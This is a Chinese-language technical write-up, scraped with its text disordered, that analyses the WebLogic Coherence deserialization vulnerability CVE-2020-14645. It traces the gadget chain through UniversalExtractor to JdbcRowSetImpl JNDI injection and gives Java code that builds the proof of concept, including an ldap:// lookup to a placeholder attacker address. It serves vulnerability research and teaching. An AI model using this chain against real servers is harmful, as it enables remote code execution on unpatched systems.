WebLogic coherence UniversalExtractor反序列化(CVE-2020-14645)漏洞分析
2021-01-14 13:11
标签:man next match jndi nts 整理 反序列化 targe get 本文首发于Seebug Paper,原文链接:https://paper.seebug.org/1280/ Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。 该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将 先来回顾一下CVE-2020-2883的两个poc调用链 其本质上,都是通过 为了方便一些纯萌新看懂,此处将会从0开始分析反序列化链(啰嗦模式警告),并且穿插一些poc构造时需要注意的点,先来看看调用栈。 从头开始跟进分析整个利用链,先来看看 第792会执行for循环,将 这里会取一半的queue数组分别执行 这里有个对于 重点关注 是在 这里将会调用 可以看到, 继续跟进 此处 所以,poc中需要这样构造 此处由于 这里看到最后有 可以看到第477行可以获取任意方法,但是要进入if语句,得先使 显而易见,传入一个空的 可惜 可以看到,由于this对象的原因, 此处不难理解,如果 回到 整理下我们可以利用的思路: 调用 被 在 只能走方法被限制的路线了,寻找所有类中以 复现过Fastjson反序列化漏洞的小伙伴,应该清楚Fastjson的利用链寻找主要针对 其 有三个方法调用了 prepare() 一开始就调用了 这个应该是用于获取参数元数据的方法, getDatabaseMetaData() setAutoCommit() 必须让 回到 那么,对于WebLogic这个反序列化利用链,我们只要利用 接着构造 紧接着将 此处,还有一个小点需注意,一个在文章开头部分构造的 回到 首先需要能进入for循环,for循环就得有 在 不难理解,每 至此,poc的主体就构造完成,其余部分就不在此阐述了,当然构造方式有很多,此处为方便萌新,分析得比较啰嗦,poc也比较杂乱,大家可以自行构造属于自己的poc。如果想要了解简洁高效的poc,可以参考一下Y4er师傅的poc[3]。 初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。 [1] Oracle 7月安全更新 ? https://www.oracle.com/security-alerts/cpujul2020.html [2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入 ? https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ [3] Y4er的poc ? https://github.com/Y4er/CVE-2020-14645 [4] Java反序列化:基于CommonsCollections4的Gadget分析 ? https://www.freebuf.com/articles/others-articles/193445.html [5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883) ? https://blog.csdn.net/systemino/article/details/106117659 WebLogic coherence UniversalExtractor反序列化(CVE-2020-14645)漏洞分析 标签:man next match jndi nts 整理 反序列化 targe get 原文地址:https://www.cnblogs.com/DEADF1SH-CAT/p/13430870.html
前言
MvelExtractor
和ReflectionExtractor
列入黑名单,因此需要另外寻找一个存在extract
且方法内存在恶意操作的类,这里用到的类为com.tangosol.util.extractor.UniversalExtractor
,存在于Coherence组件。CVE-2020-2883
//poc1
javax.management.BadAttributeValueExpException.readObject()
com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
java.util.concurrent.ConcurrentSkipListMap.cpr()
com.tangosol.util.comparator.ExtractorComparator.compare()
com.tangosol.util.extractor.ChainedExtractor.extract()
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
//...
com.tangosol.util.extractor.ReflectionExtractor().extract()
Method.invoke()
Runtime.exec()
//poc2
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
com.tangosol.util.extractor.AbstractExtractor.compare()
com.tangosol.util.extractor.MultiExtractor.extract()
com.tangosol.util.extractor.ChainedExtractor.extract()
//...
Method.invoke()
//...
Runtime.exec()
ReflectionExtractor
调用任意方法,从而实现调用Runtime对象的exec方法执行任意命令,但补丁现在已经将ReflectionExtractor
列入黑名单,那么只能使用UniversalExtractor
重新构造一条利用链,这里使用poc2的入口即CommonsCollections4链的入口进行构造。CVE-2020-14645
PriorityQueue.readObject()
方法。s.readObject()
方法赋给queue
对象数组,跟进heapify()
方法。siftDown(i, (E) queue[i]);
,实质上PriorityQueue
是一个最小堆,这里通过siftDown()
方法进行排序实现堆化,那么跟进siftDown()
方法。comparator
的判定,我们暂时不考虑comparator
的值是什么,接下来会使用到,我们先跟进siftDownUsingComparator()
方法。comparator.compare()
方法,那么我们先来看看comparator
是怎么来的。PriorityQueue
的构造函数中被赋值的,并且这里可以看到,queue
对象数组也是在这里被初始化的。那么结合上述所分析的点,我们需要构造一个长度为2的queue
对象数组,才能触发排序,进入siftDown()
方法。同时还要选择一个comparator
,这里选用ExtractorComparator
。继续跟进ExtractorComparator.compare()
方法。this.m_extractor.extract()
方法,让我们看看this.m_extractor
是怎么来的。this.m_extractor
的值是与传入的extractor
有关的。这里需要构造this.m_extractor
为ChainedExtractor
,才可以调用ChainedExtractor
的extract()
方法实现串接extract()
调用。因此,首先需要构造这样一个PriorityQueue
对象:PriorityQueue
ChainedExtractor.extract()
方法,可以发现会遍历aExtractor
数组,并调用其extract()
方法。aExtractor
数组是通过ChainedExtractor
的父类AbstractCompositeExtractor
的getExtractors()
方法获取到父类的m_aExtractor
属性值。m_aExtractor
:Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor
具体的值需要怎么构造,需要我们继续往下分析。先回到我们所要利用到的UniversalExtractor
,跟进其extract()
方法。m_cacheTarget
使用了transient
修饰,无法被反序列化,因此只能执行else部分,跟进extractComplex()
方法。method.invoke()
方法,oTarget
和aoParam
都是我们可控的,因此我们需要看看method
的处理,跟进findMethod
方法。fExactMatch
为true
,fStatic
为false
。可以看到fStatic
是我们可控的,而fExactMatch
默认为true
,只要没进入for循环即可保持true
不变,使cParams
为空即aclzParam
为空的Class数组即可,此处aclzParam
从getClassArray()
方法获取。Object[]
即可。回到extractComplex()
方法,此时我们只要我们进入第192行的else语句中,即可调用任意类的任意方法。但此时还需要fProperty
的值为false
,跟进isPropertyExtractor()
方法。m_fMethod
依旧是使用transient
修饰,溯源m_fMethod
的赋值过程。getValueExtractorCanonicalName()
方法始终返回的是null,那么跟进computeValuExtractorCanonicalName()
方法。aoParam
不为null
且数组长度大于0就会返回null
,因此我们调用的方法必须是无参的(因为aoParam
必须为null
)。接着如果方法名sName
不以 () 结尾,则会直接返回方法名。否则会判断方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,是的话就会截取掉并返回。extractComplex
方法中,在if条件里会对上述返回的方法名做首字母大写处理,然后拼接BEAN_ACCESSOR_PREFIXES
数组中的前缀,判断clzTarget
类中是否含有拼接后的方法。这时发现无论如何我们都只能调用任意类中get
和is
开头的方法,并且还要是无参的。
init()
方法,对this.method
进行赋值,从而使fProperty
的值为false
,从而进入else分支语句,实现调用任意类的任意方法。然而这个思路马上就被终结了,因为我们根本调用不了非get
和is
开头的方法!!!transient
修饰的m_cacheTarget
在extractComplex
方法中被赋值ExtractorComparator.compare()
方法中,我们知道extract
方法能被执行两次,因此在第二次执行时,能够在UniversalExtractor.extract
方法中调用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)
方法。但是这种方法也是行不通的,因为getMethod()
获取的就是图上红框的中的method
,很显然method
依旧受到限制,当我们调用非 get
和 is
开头的方法时,findMethod
会返回 null
。get
和 is
开头并且可利用的无参方法get
和set
方法,这时候就与我们的需求有重合处,不难想到JdbcRowSetImpl
的JNDI注入,接下来一起回顾一下。connect
方法中调用了lookup
方法,并且DataSourceName
是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect
方法。connect
方法,分别为prepare
、getDatabaseMetaData
和setAutoCommit
方法,逐一分析。
connect
方法,继续回溯哪里调用了prepare
方法。execute
方法,应该是用于执行sql查询的prepare()
方法应该都是用于一些与sql语句有关的操作方法中。this.conn
为空,对象初始化时默认为null
,因此直接进入else语句。其实this.conn
就是connect
方法,用于保持数据库连接状态。connect
方法,我们需要进入else语句才能执行lookup
方法。有两个前提条件,this.conn
为空,也就是执行connect
方法时是第一次执行。第二个条件是必须设置DataSourceName
的值,跟进去该参数,发现为父类BaseRowSet
的private
属性,可被反序列化。getDatabaseMetaData()
方法就行,接下来看看该怎么一步步构造poc。先从JdbcRowSetImpl
的JNDI注入回溯构造:JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造
//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;
UniversalExtract
对象,用于调用JdbcRowSetImpl
对象的方法UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
UniversalExtract
对象装载进文章开头构造的chainedExtractor
对象中ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field为m_aExtractor
PriorityQueue
对象,需要构造一个临时Extractor
对象,用于创建时的comparator
,此处以ReflectionExtractor
为例。其次,PriorityQueue
对象需要执行两次add
方法。ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue
PriorityQueue
对象的readObject
方法size
的值,size
值默认为0,private属性,可以通过反射直接设置,但是不想通过反射怎么办,回溯赋值过程。offer
方法处获得赋值,而offer
方法又是由add
方法调用。(注意此处会执行siftUp
方法,其中会触发comparator的compare
方法,从而执行extract
方法)。add
一次,size
加1,根据上述heapify
方法,只会从开头开始取一半的queue
数组执行siftDown
方法。所以size
至少为2,需要执行两次add
方法,而不是add(2)
一次。体会
References
上一篇:刷新 Jsdelivr 缓存
文章标题:WebLogic coherence UniversalExtractor反序列化(CVE-2020-14645)漏洞分析
文章链接:http://soscw.com/index.php/essay/41785.html